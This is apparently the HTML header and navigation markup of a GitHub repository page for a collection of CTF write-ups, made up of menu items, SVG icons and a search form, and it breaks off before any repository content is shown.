<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="107017690" data-scoped-search-url="/wr47h/CTF-Writeups/search" data-owner-scoped-search-url="/users/wr47h/search" data-unscoped-search-url="/search" data-turbo="false" action="/wr47h/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="Z/TzriR6j1oE/JExWdYyAJFqWT8ewaZel36yr8W2/bCS4ew+eVM04ucp6PrOgLQSqV2SrbywplAmQAOPrlwL8w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 